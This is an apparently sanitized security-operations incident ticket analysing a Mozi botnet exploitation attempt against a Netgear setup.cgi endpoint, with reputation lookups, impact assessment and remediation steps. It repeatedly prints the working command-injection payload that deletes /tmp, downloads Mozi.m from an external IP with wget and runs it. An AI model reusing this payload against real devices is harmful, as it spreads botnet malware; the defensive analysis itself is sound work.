Alexander Ticket

Note: This report has been sanitized for public sharing.

All internal IPs, hostnames, and Splunk URLs have been redacted or replaced with simulated values.

Report was originally prepared for Jira; internal console links are not publicly accessible. Query references shown for context

Description

A potential RCE attack was detected from internal host [internal web server], attempting to exploit a CGI vulnerability to download and execute the **Mozi.m** malware on the target system.

Victim:

[internal web server] - redacted-domain.local

Encoded log:

/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm%20-rf%20/tmp/*;wget%20http://103.203.72.227:53982/Mozi.m%20-O%20/tmp/netgear;sh%20netgear&curpath=/%20¤tsetting.htm=1

Decoded log:

/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm -rf/tmp/*;wget http://103.203.72.227:53982/Mozi.m -O /tmp/netgear;sh netgear&curpath=/¤tsetting.htm=1

^{*}ATTACKER INFO:*

```
*IP:* 103.203.72.227 on port 39723
```

User Agent: "The User-Agent was not identified, indicating that the attack was likely carried out using automated tools or bots. As a result, the browser version and operating system could not be determined.

ANALYST INVESTIGATION:

Virus Total Result: [here|https://www.virustotal.com/gui/ip-address/103.203.72.227]

*Security Vendors' Analysis from Virus Total: * 11/94 security vendors flagged this IP address as malicious

Talos Intelligence:

REPUTATION DETAILS:

Email Reputation: *Poor*

Web Reputation: *Untrusted*

BLOCK LISTS:


Talos Security Intelligence Block List

Spam level = Critical

pbl.spamhaus.org = Listed


Talos Result:

[here|https://talosintelligence.com/reputation_center/lookup?search=103.203.72.227]



ShodanResult: [here|https://www.shodan.io/search?query=103.203.72.227]

Splunk Investigation: A total of 15 logs were found, and after applying targeted identifiers such as netgear and Mozi.m, the dataset was refined to 9 logs directly related to the observed malicious activity.



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Result 1: Splunk search — internal link (not accessible)



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Result 2: Splunk search — internal link (not accessible)




 $\uparrow \uparrow \uparrow$

Result 3: Splunk search — internal link (not accessible)

Raw Data:

{"timestamp":"2024-10-18T09:34:06.700255-0400","flow_id":89882454780356,"in_iface":"eth0","event_type":"fileinfo","src_ip":" [internal web server] ","src_port":80,"dest_ip":"103.203.72.227","dest_port":39723,"proto":"TCP","http":{"url":"/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://redacted-domain.local/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1","http_content_type":"text/html","http_method":"GET","protocol":"HTTP/1.0","status":403,"length":285},"app_proto":"http","fileinfo":{"filename":"/setup.cgi","state":"CLOSED","stored":false,"size":285,"tx_id":0}}

Additional Findings:



This IP address has been reported a total of **37** times from 19 distinct sources. 103.203.72.227 was first reported on May 9th 2021, and the most recent report was **2 weeks ago**.

ResultAbuselPDB: [here|https://www.abuseipdb.com/check/103.203.72.227]

ANALYST ASSESSMENT


GreyNoise

Between February 12 and May 12, multiple attacks were observed involving various known vulnerabilities and exploitation techniques. These included:

- D-Link Devices HNAP SOAPAction Header RCE Attempts
- D-Link UPnP OS Command Injection
- **GPON Router Worm (CVE-2018-10561)**
- HNAP Crawler Activity
- Mirai Botnet Variants

These attacks targeted exposed devices and aimed to exploit remote command execution and unauthorized access vulnerabilities.


greynoise Result: [here \ \ \ | https://viz.greynoise.io/ip/103.203.72.227]



^{*}Cencys*:

Routing: 103.203.72.0/24 via RAILTEL-AS-IN RailTel Corporation of India Ltd, IN (AS24186)

^{*}CencysResult:* [here \ \ \ \ | https://search.censys.io/hosts/103.203.72.227]



ographic Lo	cation	
City	Kanayannur	
State	Kerala	
Country	India (IN)	
Coordinates	9.96667, 76.26667	
Timezone	Asia/Kolkata	

ANALYST ASSESSMENT

An outbound **Remote Code Execution (RCE)** attempt was identified, originating from an internal host with IP address [internal web server]. The host attempted to execute a known malware payload (**Mozi.m**) by exploiting a vulnerable endpoint. The malicious HTTP request was directed towards an external IP address (**103.203.72.227**) on port 39723, indicative of a larger **IoT malware attack** chain.

Attack Details:

- Source IP ([internal web server]): Internal host potentially compromised or infected.
- **Destination IP (103.203.72.227)**: Malicious external server hosting the Mozi botnet malware.
- HTTP Request: The payload is delivered via a GET request to /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+rf+/tmp/*;wget+http://103.203.72.227:53982/Mozi.m+-0+/tmp/netgear;sh+netgear.
- HTTP Status: A 403 Forbidden response indicates that the server blocked the request, preventing the execution of the malicious commands.

- **Payload Filename**: The malware file is disguised as a file named **netgear**, possibly to evade detection or appear innocuous.
- **File Involved**: The attack attempts to interact with /**setup.cgi**, which could be part of a known vulnerable endpoint in IoT devices.

Detailed Breakdown of Commands:

- 1. rm -rf /tmp/*;
 - Purpose: The command removes all files from the /tmp/ directory, which is commonly used for storing temporary files. This step may be intended to free space or remove evidence of the attack, making it harder to detect.
- 2. wget http://103.203.72.227:53982/Mozi.m -0 /tmp/netgear;
 - Purpose: Downloads the Mozi.m malware from the attacker's IP and saves it as /tmp/netgear. The use of the "netgear" filename is an attempt to disguise the malicious file, possibly to mimic a legitimate file.

3. sh netgear

Purpose: Executes the downloaded malware file. Once executed, the Mozi.m malware will run, spreading the infection and allowing the compromised device to join the Mozi botnet.

Potential Impact:

- **Botnet Infection**: If successful, the compromised device becomes part of the **Mozi botnet**, enabling attackers to control and use it for further malicious activities, such as launching attacks on other systems.
- Lateral Spread: The malware may attempt to exploit other vulnerable devices on the network, leading to a rapid spread of the infection.
- Future Malware Payloads: Once installed, the Mozi malware may download additional malware, including ransomware or data stealers, potentially compromising more systems.
- Internal Network Exposure: The infected device could serve as an entry point for attackers to move laterally within the internal network, gaining access to sensitive systems or data.
- Legal and Operational Risk: Participation in criminal activities, such as botnet operations, could expose the organization to regulatory fines, reputational damage, and legal consequences.

ACTION

1. Isolate the Affected Host:

• Immediately isolate the internal host ([internal web server]) from the network to prevent further infection or lateral movement.

2. Perform Malware Scan:

• Run a full malware scan on the affected host to detect and remove any traces of the Mozi.m malware or other malicious payloads.

3. Check for Other Infected Devices:

• Investigate other internal devices, particularly IoT devices, for signs of compromise or similar malicious activity.

4. Review Logs:

• Analyze logs for signs of lateral movement or communication with other suspicious IPs, especially related to IoT or botnet activity.

5. Patch Vulnerabilities:

• Ensure that the affected device and other IoT devices are updated with the latest patches to prevent further exploitation.

6. Block Malicious IPs:

• Block the external IP (103.203.72.227) and any known malicious IPs from the network to prevent future attacks.

7. Monitor for Future Attacks:

• Set up alerts for similar RCE attempts or malicious activity to monitor for any new threats.

8. Document Incident:

• Document all findings, actions taken, and evidence in the Jira ticket for tracking and future reference.